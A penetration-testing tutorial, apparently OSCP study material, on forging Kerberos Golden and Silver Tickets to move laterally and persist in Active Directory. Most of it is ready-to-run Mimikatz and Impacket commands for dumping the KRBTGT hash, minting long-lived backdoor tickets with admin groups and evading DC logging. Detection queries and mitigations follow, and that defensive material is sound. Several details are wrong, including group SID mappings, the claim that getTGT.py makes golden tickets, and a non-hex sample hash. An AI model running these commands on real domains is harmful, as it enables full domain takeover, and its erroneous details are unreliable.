Golden and Silver Ticket Lateral Movement
Table of Contents
- Concept Overview
- Kerberos Ticket Fundamentals
- Golden Ticket Deep-Dive
- Creating Golden Tickets with Mimikatz
- Golden Ticket from Kali
- Silver Ticket Deep-Dive
- Creating Silver Tickets
- Golden vs Silver Comparison
- Detection Differences
- Mitigation Strategies
- Common Pitfalls and Troubleshooting
- OSCP Exam Tips
Concept Overview
Golden Ticket and Silver Ticket are Kerberos ticket forgery attacks that grant unauthorized access to Active Directory resources by creating counterfeit authentication tickets.
The Core Concept
Kerberos authentication relies on tickets issued by the Domain Controller. If an attacker can forge these tickets, they can authenticate as any user to any service — without the DC ever knowing.
| Ticket Type | What It Forges | What Hash Is Needed | Scope | DC Involved |
|---|---|---|---|---|
| Golden Ticket | TGT (Ticket-Granting Ticket) | KRBTGT NTLM hash | Entire domain | Yes (visible to DC) |
| Silver Ticket | TGS (Ticket-Granting Service) | Service account NTLM hash | Specific service only | No (bypasses DC) |
Why Ticket Forgery Works
Kerberos tickets are encrypted with the service’s secret key. If you know the key, you can:
- Create a ticket with arbitrary user identity
- Encrypt it with the known key
- Present it to the target service
- The service decrypts and validates — the ticket looks legitimate
Kerberos Ticket Fundamentals
The Kerberos Authentication Flow
┌──────────┐ ┌──────────┐ ┌──────────┐
│ Client │ │ DC │ │ Service │
│ │ │ (KDC) │ │ (SMB, │
│ │ │ │ │ HTTP) │
└────┬─────┘ └────┬─────┘ └────┬─────┘
│ │ │
│ [1] AS-REQ │ │
│ (user + password) │ │
│────────────────────>│ │
│ │ │
│ │ Validate password │
│ │ with KRBTGT key │
│ │ │
│ [2] AS-REP │ │
│ (contains TGT │ │
│ encrypted with │ │
│ user's key) │ │
│<────────────────────│ │
│ │ │
│ [3] TGS-REQ │ │
│ (TGT + service │ │
│ request) │ │
│────────────────────>│ │
│ │ │
│ │ Validate TGT with │
│ │ KRBTGT key │
│ │ Issue TGS │
│ │ │
│ [4] TGS-REP │ │
│ (contains TGS │ │
│ encrypted with │ │
│ service's key) │ │
│<────────────────────│ │
│ │ │
│ [5] Application │ │
│ (TGS presented │ │
│ to service) │ │
│─────────────────────────────────────────>│
│ │ │
│ │ Decrypt │
│ │ with │
│ │ service │
│ │ key │
│ │ │
Ticket Types
| Ticket | Issued By | Used For | Encrypted With |
|---|---|---|---|
| TGT | KDC (AS service) | Requesting TGS tickets | KRBTGT account key |
| TGS | KDC (TGS service) | Authenticating to a service | Target service account key |
What Makes Forgery Possible
| Ticket | Forgery Requires | Forgery Scope |
|---|---|---|
| TGT (Golden) | KRBTGT hash + domain SID + domain name | Any service in the domain |
| TGS (Silver) | Service account hash + domain SID + SPN | Only the specific service |
Golden Ticket Deep-Dive
What Is a Golden Ticket?
A Golden Ticket is a forged TGT (Ticket-Granting Ticket). With a valid TGT, the attacker can request TGS tickets for any service in the domain — effectively granting domain-wide access.
Why It’s Called “Golden”
- Ultimate access: Grants access to everything in the domain
- Persistence: Can be set to last years (or even 40 years)
- Stealth: The forged user may not even exist in AD
- Power: Equivalent to Domain Admin (or any group membership you specify)
Required Information
To create a Golden Ticket, you need:
| Parameter | Description | How to Obtain |
|---|---|---|
| KRBTGT NTLM hash | The KDC’s signing key | DCSync, Mimikatz on DC, secretsdump.py |
| Domain SID | Security Identifier of the domain | whoami /user, getent, BloodHound |
| Domain Name | FQDN of the domain | Known from environment |
| Username | Any username (can be non-existent) | Attacker’s choice |
Getting the Required Information
KRBTGT Hash
# Method 1: DCSync via secretsdump.py
secretsdump.py -just-dc-user krbtgt domain/admin:password@DC_IP
# Method 2: Mimikatz on DC
lsadump::dcsync /domain:corp.local /user:krbtgt
# Method 3: Full DCSync dump
secretsdump.py -just-dc domain/admin:password@DC_IP
# Look for krbtgt in output
Domain SID
# Method 1: whoami (on any domain-joined machine)
whoami /user
# Output:
# USER INFORMATION
# ----------------
# User Name SID
# ================ ======================================
# corp\administrator S-1-5-21-2962871672-1228185789-284441180-500
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
# Domain SID (everything before -500)
# Method 2: PowerShell
(Get-ADDomain).DomainSID.Value
# S-1-5-21-2962871672-1228185789-284441180
# Method 3: From any user's SID
# Take any user SID and remove the last RID
# S-1-5-21-2962871672-1228185789-284441180-1001
# Domain SID = S-1-5-21-2962871672-1228185789-284441180
Domain Name
# Method 1
systeminfo | findstr /B /C:"Domain"
# Method 2
echo %USERDOMAIN%
# Method 3
(Get-ADDomain).DNSRoot
# corp.local
Creating Golden Tickets with Mimikatz
Basic Golden Ticket
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-2962871672-1228185789-284441180 /krbtgt:8a2d6h5j3k1l9m8n7o6p5q4r3s2t1u0v /ptt
Full Parameter Breakdown
kerberos::golden `
/user:BACKDOOR_USER # Username for the ticket (can be non-existent) `
/domain:corp.local # Target domain (FQDN) `
/sid:S-1-5-21-XXX-YYY-ZZZ # Domain SID `
/krbtgt:8a2d6h5j3k1l9m8n7o6p5q4r3s2t1u0v # KRBTGT NTLM hash `
/id:500 # User RID (500 = Administrator) `
/startoffset:0 # Start time offset (minutes) `
/endin:365 # Ticket lifetime (days) `
/renewmax:365 # Maximum renewal time (days) `
/ptt # Pass-the-Ticket (inject into session)
Parameter Reference
| Parameter | Description | Default | Example |
|---|---|---|---|
/user |
Username for the ticket | krbtgt |
/user:admin |
/domain |
Target domain (FQDN) | Current domain | /domain:corp.local |
/sid |
Domain SID | — | /sid:S-1-5-21-XXX |
/krbtgt |
KRBTGT NTLM hash | — | /krbtgt:8a2d... |
/aes |
KRBTGT AES key (alternative) | — | /aes:1234... |
/id |
User RID | 500 (Admin) |
/id:500 |
/startoffset |
Start time offset (minutes) | 0 |
/startoffset:-10 |
/endin |
Ticket lifetime (days) | 365 |
/endin:365 |
/renewmax |
Max renewal (days) | 10 |
/renewmax:365 |
| /target | Target DC (FQDN) | Current DC | /target:dc01.corp.local |
/service |
Service to request TGS for | All | /service:cifs |
/ptt |
Inject ticket into session | No | /ptt |
/ticket |
Export to .kirbi file | Memory | /ticket:golden.kirbi |
/groups |
Additional group SIDs | Domain Users | /groups:S-1-5-32-544 |
/sids |
Additional user SIDs | None | /sids:S-1-5-21-XXX-1100 |
/org |
Organization name | — | /org:Corp |
Advanced: Adding Group Memberships
# Add Domain Admins group (S-1-5-32-544) and Enterprise Admins (S-1-5-21-XXX-519)
kerberos::golden /user:backdoor /domain:corp.local /sid:S-1-5-21-2962871672-1228185789-284441180 /krbtgt:8a2d6h5j3k1l9m8n7o6p5q4r3s2t1u0v /id:500 /groups:S-1-5-32-544,S-1-5-32-551 /ptt
# Common Group SIDs:
# S-1-5-32-544 → Domain Admins
# S-1-5-32-551 → Backup Operators
# S-1-5-32-549 → Account Operators
# S-1-5-32-548 → Group Policy Creator Owners
Advanced: Ticket with Past Start Time
# Start ticket 10 minutes ago (to bypass time-based detection)
kerberos::golden /user:backdoor /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:HASH /startoffset:-10 /ptt
Advanced: Export and Reuse
# Export ticket to file
kerberos::golden /user:backdoor /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:HASH /ticket:golden.kirbi
# Later, inject the exported ticket
kerberos::ptt golden.kirbi
Verification
# Verify the ticket is injected
kerberos::list
# Expected output:
# Service : krbtgt/CORP.LOCAL
# User : backdoor@CORP.LOCAL
# ...
# Test access
dir \\DC01\C$
Golden Ticket from Kali
Using Impacket getTGT.py
# Create a Golden Ticket using Impacket
getTGT.py -dc-ip DC_IP -hashes :8a2d6h5j3k1l9m8n7o6p5q4r3s2t1u0v corp.local/administrator
# Set the ccache
export KRB5CCNAME=/tmp/ccache_XXXX
# Verify
klist
# Use for lateral movement
psexec.py -k -no-pass corp.local/administrator@TARGET_IP
Using ticketer.py (More Control)
# Create a custom Golden Ticket
ticketer.py -nthash 8a2d6h5j3k1l9m8n7o6p5q4r3s2t1u0v -domain-sid S-1-5-21-2962871672-1228185789-284441180 -domain corp.local -user-id 500 backdoor_user
# Output:
# [*] Creating golden ticket for 'backdoor_user'
# [*] Saving to backdoor_user.ccache
# Export and use
export KRB5CCNAME=backdoor_user.ccache
psexec.py -k -no-pass corp.local/backdoor_user@TARGET_IP
ticketer.py Parameters
| Parameter | Description | Example |
|---|---|---|
-nthash |
KRBTGT NTLM hash | -nthash 8a2d... |
-domain-sid |
Domain SID | -domain-sid S-1-5-21-XXX |
-domain |
Domain FQDN | -domain corp.local |
-user-id |
User RID | -user-id 500 |
-groups |
Additional group RIDs | -groups 544,512 |
-aesKey |
AES key (alternative) | -aesKey 1234... |
-start-offset |
Start offset (minutes) | -start-offset -10 |
-end-life |
Ticket lifetime | -end-life 365 |
-ptt |
Inject into current session | -ptt |
Silver Ticket Deep-Dive
What Is a Silver Ticket?
A Silver Ticket is a forged TGS (Ticket-Granting Service) ticket. Unlike a Golden Ticket (forged TGT), a Silver Ticket grants access to only one specific service on one specific target.
Key Differences from Golden Ticket
| Aspect | Golden Ticket | Silver Ticket |
|---|---|---|
| Ticket Type | Forged TGT | Forged TGS |
| Hash Needed | KRBTGT hash | Service account hash |
| DC Contact | Yes (TGS request visible to DC) | No (bypasses DC entirely) |
| Scope | Entire domain | Single service on single host |
| Detection | Visible to DC (Event 4769) | Not visible to DC |
| Stealth | Moderate | Higher |
| Flexibility | Access any service | Access only specified service |
Why Silver Tickets Are Stealthier
Golden Ticket Flow:
Client → [TGS Request to DC with forged TGT] → DC issues TGS → Client → Service
↑
DC SEES THIS (Event 4769)
Silver Ticket Flow:
Client → [Forged TGS presented directly] → Service
↑
DC IS NEVER CONTACTED
Required Information for Silver Ticket
| Parameter | Description | How to Obtain |
|---|---|---|
| Service Account NTLM Hash | Hash of the account running the service | Mimikatz, DCSync, password dump |
| Domain SID | Domain SID | whoami /user |
| Domain Name | Domain FQDN | Known |
| SPN | Service Principal Name of target | setspn -Q */hostname |
| Target Service Name | NetBIOS name of the service | Known |
Common SPNs and Services
| Service | Port | SPN Format | Example |
|---|---|---|---|
| CIFS (SMB) | 445 | cifs/hostname.domain.com |
cifs/fileserver.corp.local |
| HTTP | 80/443 | HTTP/hostname.domain.com |
HTTP/webserver.corp.local |
| MSSQL | 1433 | MSSQLSvc/hostname.domain.com:1433 |
MSSQLSvc/db.corp.local:1433 |
| LDAP | 389/636 | ldap/hostname.domain.com |
ldap/dc01.corp.local |
| WinRM | 5985/5986 | WSMAN/hostname.domain.com |
WSMAN/server.corp.local |
| RDP | 3389 | TERMSRV/hostname.domain.com |
TERMSRV/desktop.corp.local |
| Kerberos | 88 | krbtgt/domain.com |
krbtgt/corp.local |
Finding SPNs
# On Windows
setspn -Q */fileserver.corp.local
# Output:
# Registered ServicePrincipalNames for CN=FILESERVER,OU=Servers,DC=corp,DC=local:
# cifs/fileserver.corp.local
# cifs/fileserver
# Find all SPNs in domain
setspn -T corp.local -Q */*
# On Kali with Impacket
getuserspns.py corp.local/admin:password
# Or with CrackMapExec
crackmapexec smb DC_IP -u admin -p pass --spns
Creating Silver Tickets
Mimikatz — Basic Silver Ticket
kerberos::golden /user:attacker /domain:corp.local /sid:S-1-5-21-XXX /rc4:SERVICE_HASH /target:fileserver.corp.local /service:cifs /ptt
Note: Despite the command being kerberos::golden, Mimikatz creates a Silver Ticket when you specify /target and /service instead of /krbtgt.
Mimikatz — Full Silver Ticket
kerberos::golden `
/user:attacker `
/domain:corp.local `
/sid:S-1-5-21-2962871672-1228185789-284441180 `
/rc4:9f4e8a2b3c1d5e6f7a8b9c0d1e2f3a4b `
/target:fileserver.corp.local `
/service:cifs `
/startoffset:0 `
/endin:365 `
/renewmax:365 `
/ptt
Silver Ticket for CIFS (SMB)
# Access SMB shares on fileserver
kerberos::golden /user:attacker /domain:corp.local /sid:S-1-5-21-XXX /rc4:SERVICE_HASH /target:fileserver.corp.local /service:cifs /ptt
# Verify
dir \\fileserver.corp.local\C$
Silver Ticket for HTTP
# Access web application
kerberos::golden /user:attacker /domain:corp.local /sid:S-1-5-21-XXX /rc4:SERVICE_HASH /target:webserver.corp.local /service:http /ptt
# Access via browser or curl
# The forged ticket will be used automatically
Silver Ticket for MSSQL
# Access SQL Server
kerberos::golden /user:attacker /domain:corp.local /sid:S-1-5-21-XXX /rc4:SERVICE_HASH /target:dbserver.corp.local /service:mssqlsvc /ptt
# Connect via sqlcmd
sqlcmd -S dbserver.corp.local -E
Kali — Silver Ticket with ticketer.py
# Create Silver Ticket for CIFS
ticketer.py -nthash 9f4e8a2b3c1d5e6f7a8b9c0d1e2f3a4b -spn cifs/fileserver.corp.local -domain-sid S-1-5-21-XXX -domain corp.local attacker
# Output:
# [*] Creating silver ticket for 'cifs/fileserver.corp.local'
# [*] Saving to attacker.ccache
# Export and use
export KRB5CCNAME=attacker.ccache
psexec.py -k -no-pass corp.local/attacker@fileserver.corp.local
Kali — Silver Ticket for MSSQL
ticketer.py -nthash SERVICE_HASH -spn MSSQLSvc/dbserver.corp.local:1433 -domain-sid S-1-5-21-XXX -domain corp.local attacker
export KRB5CCNAME=attacker.ccache
mssqlclient.py -k corp.local/attacker@dbserver.corp.local
Golden vs Silver Comparison
Comprehensive Comparison Table
| Feature | Golden Ticket | Silver Ticket |
|---|---|---|
| Ticket Type | Forged TGT | Forged TGS |
| Required Hash | KRBTGT NTLM hash | Service account NTLM hash |
| Required Info | KRBTGT hash, Domain SID, Domain Name | Service hash, Domain SID, Domain Name, SPN, Target |
| Scope | Entire domain (all services) | Single service on single host |
| DC Contact | Yes — TGS requests go through DC | No — bypasses DC entirely |
| DC Visibility | DC sees TGS requests (Event 4769) | DC sees nothing |
| Target Visibility | Target sees TGS presentation | Target sees TGS presentation |
| Stealth Level | Moderate | High |
| Persistence | Long (configurable, up to 40 years) | Long (configurable) |
| Flexibility | Access any service in domain | Only specified service |
| Detection on DC | Event 4769 (TGS request) | No events on DC |
| Detection on Target | Event 4624 (logon) | Event 4624 (logon) |
| User Account | Can be non-existent | Can be non-existent |
| Group Membership | Can specify any groups | N/A (no group evaluation) |
| Best Use Case | Full domain compromise | Targeted service access, stealth |
When to Use Each
| Scenario | Recommended Ticket | Reason |
|---|---|---|
| Full domain compromise needed | Golden | Access everything |
| Need to access specific service only | Silver | More targeted, stealthier |
| DC monitoring is heavy | Silver | Bypasses DC detection |
| You have KRBTGT hash | Golden | You already have what you need |
| You have service account hash only | Silver | Only option available |
| Need to pivot to multiple services | Golden | One ticket, all services |
| Maximum stealth required | Silver | DC never sees the activity |
Detection Differences
Golden Ticket Detection
Event ID 4769 — Kerberos Service Ticket Request
Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Event ID: 4769
Key indicators for Golden Ticket:
| Field | Golden Ticket Indicator | Why |
|---|---|---|
Service Name |
krbtgt/CORP.LOCAL |
TGS request using TGT |
Ticket Encryption Type |
RC4 in AES-enforced domain | Anomalous encryption |
Ticket Options |
Unusual flags | Forged tickets may have odd flags |
Client Time |
Outside normal hours | Anomalous timing |
Client Address |
Non-standard source | Unexpected client |
Golden Ticket-Specific Indicators
| Indicator | Description |
|---|---|
| No Event 4768 before 4769 | Golden Ticket skips AS-REQ (no TGT request) |
| User not in AD | Forged user doesn’t exist in directory |
| Ticket lifetime too long | Default TGT = 10 hours; Golden = years |
| RC4 encryption | If domain enforces AES, RC4 is suspicious |
| No pre-authentication | Some Golden Tickets skip pre-auth |
Detection Query (Splunk)
index=windows EventCode=4769
| search Service_Name="krbtgt/*"
| search NOT [inputlookup normal_tgs_requests.csv]
| stats count by target_user_name, client_address
Silver Ticket Detection
Event ID 4624 — Logon Success
Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Event ID: 4624
Logon Type: 3 (Network) or 9 (New Credentials)
Key indicators for Silver Ticket:
| Field | Silver Ticket Indicator | Why |
|---|---|---|
Logon Type |
3 (Network) | Kerberos network logon |
Authentication Package |
Kerberos | Kerberos auth used |
TargetUserName |
Non-existent user | Forged user may not exist |
| No corresponding 4769 on DC | Critical indicator | DC never issued this TGS |
Silver Ticket-Specific Indicators
| Indicator | Description |
|---|---|
| 4624 without 4769 | Logon succeeded but DC never issued TGS |
| Service-specific only | Access limited to one service |
| No DC involvement | All activity on target, nothing on DC |
| Correlation gap | Target shows auth, DC shows nothing |
Detection Strategy
Silver Ticket Detection =
Event 4624 on target (logon success)
MINUS
Event 4769 on DC (TGS issuance)
If 4624 exists but no matching 4769 → possible Silver Ticket
Detection Comparison Summary
| Detection Method | Golden Ticket | Silver Ticket |
|---|---|---|
| Event 4768 (TGT request) | May be absent | Always absent |
| Event 4769 (TGS request) | Present on DC | Absent on DC |
| Event 4624 (Logon) | Present on target | Present on target |
| DC correlation | TGS visible | No DC activity |
| Ticket anomaly tools | Detectable | Detectable on target |
| KRBTGT password change | Invalidates ticket | No effect |
Mitigation Strategies
1. KRBTGT Password Reset (CRITICAL)
Resetting the KRBTGT password invalidates ALL Golden Tickets.
# Method 1: nltest
nltest /set_srs_password
# Method 2: Set-ADAccountPassword
Import-Module ActiveDirectory
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString "NewComplexP@ssw0rd!" -AsPlainText -Force)
# Method 3: ktpass
ktpass -princ krbtgt/CORP.LOCAL@CORP.LOCAL -pass NewComplexP@ssw0rd! -mapUser krbtgt -crypto All -ptype KRB5_NT_PRINCIPAL
The Twice-Reset Rule
You must reset the KRBTGT password TWICE to ensure complete invalidation:
Step 1: Reset KRBTGT password (First reset)
→ Old TGTs still valid until they expire (default 10 hours)
→ New TGTs use new key
Step 2: Wait for old TGT lifetime (at least 10 hours, preferably 24-48 hours)
Step 3: Reset KRBTGT password again (Second reset)
→ Any remaining old TGTs are now invalid
→ All active TGTs must use the newest key
Why twice?
- First reset: New key issued, but old TGTs remain valid until expiration
- Old TGTs can still be used to request TGS tickets
- Second reset: Ensures no old TGTs can function
2. Implement gMSA (Group Managed Service Accounts)
gMSA passwords are automatically rotated by the domain, making Silver Tickets short-lived:
# Create gMSA
New-ADServiceAccount -Name "svc_webapp" -DNSHostName "webapp.corp.local" -PrincipalsAllowedToRetrievePassword "WEBSERVER$"
# Install on target server
Install-ADServiceAccount -Identity "svc_webapp"
Benefits:
- 30-day automatic password rotation
- No manual password management
- Silver Tickets become invalid after password rotation
3. Ticket Anomaly Monitoring
# Monitor for anomalous tickets
# - Unusually long ticket lifetimes
# - RC4 encryption in AES-enforced domains
# - TGS requests without preceding TGT requests
# - Logons without DC-side TGS issuance
4. Enforce AES Encryption
# Group Policy: Remove RC4 from allowed encryption types
# Computer Configuration → Policies → Windows Settings →
# Security Settings → Local Policies → Security Options
# Network security: Configure encryption types allowed for Kerberos
# Set to: AES-128, AES-256
5. Monitor for Non-Existent Users
# Alert on logons by users not in AD
index=windows EventCode=4624
| search NOT [| inputlookup ad_users.csv]
| stats count by TargetUserName, TargetDomainName
6. Implement Kerberos Armoring
Use channel binding and Kerberos armoring to prevent ticket replay attacks.
Common Pitfalls and Troubleshooting
Pitfall 1: Wrong SID
# WRONG - Using computer SID instead of domain SID
kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-XXX-1105 /krbtgt:HASH /ptt
# CORRECT - Using domain SID (no computer RID)
kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:HASH /ptt
How to verify:
whoami /user
# S-1-5-21-2962871672-1228185789-284441180-500
# Domain SID = S-1-5-21-2962871672-1228185789-284441180 (remove -500)
Pitfall 2: Wrong KRBTGT Hash
# Make sure you're using the NT (NTLM) hash, not LM
# DCSync output format: DOMAIN\user:LM:NT
# CORP\krbtgt:aad3b435b51404eeaad3b435b51404ee:8a2d6h5j3k1l9m8n7o6p5q4r3s2t1u0v
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
# LM (always this value = empty) NT (USE THIS ONE)
# Use the NT hash:
kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:8a2d6h5j3k1l9m8n7o6p5q4r3s2t1u0v /ptt
Pitfall 3: Silver Ticket — Wrong SPN
# WRONG - Using hostname instead of FQDN
kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-XXX /rc4:HASH /target:fileserver /service:cifs /ptt
# CORRECT - Using FQDN
kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-XXX /rc4:HASH /target:fileserver.corp.local /service:cifs /ptt
Pitfall 4: Silver Ticket — Wrong Service Account Hash
# You need the hash of the account RUNNING THE SERVICE, not any DA account
# Find the service account:
wmic service where "name='Microsoft iSCSI Initiator Service'" get name,pathname,startmode
# Or check the SPN's associated account
setspn -Q cifs/fileserver.corp.local
Pitfall 5: Time Synchronization
# Kerberos requires time sync within 5 minutes
# If ticket start time is in the future, it won't work
# Use /startoffset to adjust
kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:HASH /startoffset:-5 /ptt
Pitfall 6: Ticket Not Injected
# Verify injection
kerberos::list
# If empty, re-inject
kerberos::ptt exported_ticket.kirbi
# For Rubeus
Rubeus.exe triage
Pitfall 7: Domain Name Format
# Use FQDN for /domain
kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:HASH /ptt
# NOT NetBIOS name
# kerberos::golden /user:admin /domain:CORP /sid:... ← May not work
OSCP Exam Tips
1. Golden Ticket — The Ultimate Privesc
┌──────────────────────────────────────────────────────────┐
│ GOLDEN TICKET QUICK REFERENCE │
├──────────────────────────────────────────────────────────┤
│ │
│ PREREQUISITES: │
│ [ ] KRBTGT NTLM hash (from DCSync) │
│ [ ] Domain SID (from whoami /user) │
│ [ ] Domain FQDN │
│ │
│ MIMIKATZ COMMAND: │
│ kerberos::golden /user:BACKDOOR /domain:corp.local │
│ /sid:S-1-5-21-XXX /krbtgt:KRBTGT_HASH /id:500 /ptt │
│ │
│ KALI COMMAND: │
│ getTGT.py -hashes :KRBTGT_HASH corp.local/admin │
│ export KRB5CCNAME=/tmp/ccache_XXXX │
│ psexec.py -k -no-pass corp.local/admin@TARGET │
│ │
│ VERIFY: │
│ Windows: kerberos::list OR Rubeus.exe triage │
│ Kali: klist │
│ │
└──────────────────────────────────────────────────────────┘
2. Silver Ticket — When You Can’t Get KRBTGT
Use Silver Ticket when:
- You have a service account hash but not KRBTGT
- You need stealth (DC never sees the activity)
- You only need access to one specific service
3. Common OSCP Ticket Scenarios
| Scenario | Action |
|---|---|
| You have KRBTGT hash | Create Golden Ticket |
| You have IIS_APPPOOL hash | Create Silver Ticket for HTTP |
| You have MSSQL service hash | Create Silver Ticket for MSSQLSvc |
| You need full domain access | Golden Ticket |
| You need SMB access to one server | Silver Ticket for CIFS |
| Maximum stealth needed | Silver Ticket |
4. KRBTGT Reset in the Report
Always recommend KRBTGT password reset (twice!) in your penetration test report when Golden Ticket capability is demonstrated.
5. Getting the Domain SID
# Quick method on Windows
whoami /user
# Remove the last segment (-500, -1000, etc.)
# Example:
# S-1-5-21-2962871672-1228185789-284441180-500
# Domain SID = S-1-5-21-2962871672-1228185789-284441180
6. Ticket Export and Transfer
# Export ticket for transfer to another machine
kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:HASH /ticket:golden.kirbi
# Transfer and inject on another machine
kerberos::ptt golden.kirbi
7. Remember: Silver Ticket Uses kerberos::golden Too
In Mimikatz, both Golden and Silver tickets use kerberos::golden. The difference is:
- Golden:
/krbtgt:HASH(no/targetor/service) - Silver:
/rc4:SERVICE_HASH /target:HOST /service:SPN_TYPE
Summary
Golden and Silver Ticket attacks represent the pinnacle of Kerberos-based lateral movement:
Golden Ticket
- Requires: KRBTGT hash, Domain SID, Domain Name
- Grants: Domain-wide access to all services
- Detection: Visible to DC (Event 4769)
- Mitigation: KRBTGT password reset (twice!)
Silver Ticket
- Requires: Service account hash, Domain SID, Domain Name, SPN, Target
- Grants: Access to specific service only
- Detection: Not visible to DC (stealthier)
- Mitigation: gMSA, ticket anomaly monitoring
Key takeaways:
- Golden Ticket = forged TGT = domain-wide access = DC visible
- Silver Ticket = forged TGS = single service = DC bypassed
- KRBTGT password reset must be done twice with waiting period
- gMSA prevents long-lived Silver Tickets via automatic rotation
- Event 4624 without Event 4769 = possible Silver Ticket
- Always verify ticket injection with
kerberos::listorklist